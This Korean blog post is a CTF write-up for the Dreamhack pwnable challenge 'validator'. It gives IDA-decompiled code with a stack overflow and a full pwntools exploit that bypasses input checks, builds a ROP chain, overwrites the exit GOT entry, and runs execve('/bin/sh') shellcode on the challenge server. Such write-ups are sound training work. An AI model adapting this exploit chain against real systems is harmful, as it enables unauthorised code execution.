본문 바로가기

System Hacking

[Dreamhack] validator 풀이 - 티스토리

 

소스코드가 없이 바이너리 파일만 존재하므로 ida를 이용해서 디컴파일을 했다

 

 

소스 코드

 

_int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL);
  sub_400580(s, 128LL);
  return 0LL;
}

__int64 __fastcall sub_400580(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((int)i + a1) != aDreamhack[i] )
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(char *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}

 

 

처음 마주한 이상한 값들.. 어색하다..

 

 

 

코드 분석

 

sub_400580함수에서 main함수에서 입력 받은 값을 토대로 검사를 진행하고 있다

검사 조건이 일치하면 프로그램이 종료 되므로 우회가 필요

 

 

첫 번째 검사는 DREAMHACK!과 일치하는지

 

 

두 번째 검사는 a[i]이 a[i+1]과 일치하는지

 

 

** ida 사용법이 많이 부족하다

 

 

 

 

검사 우회 코드

payload = b'DREAMHACK!'
 
for i in range(126, 0, -1):
	payload += bytes([i])

 

 

 

 

페이로드

 

from pwn import*
 
p = remote('host3.dreamhack.games', 11609)
e = ELF('./validator_server')
 
context.arch = 'amd64'
shellcode = asm(shellcraft.execve("/bin/sh", 0, 0))
pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b
exit_got = e.got['exit']
read_plt = e.plt['read']
 
payload = b'DREAMHACK!'
 
for i in range(126, 0, -1):
    payload += bytes([i])
 
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(exit_got) + p64(0)
payload += p64(pop_rdx) + p64(0x200)
payload += p64(read_plt)
payload += p64(exit_got)

p.send(payload)
p.send(shellcode)

 

모든 보호기법이 꺼져 있으므로 rop 체인을 구성해 got overwrite을 했다

 

 

 

 


드림핵 포너블 1단계 마무리

 

ida연습겸 이번 문제 다시 복습해야겠다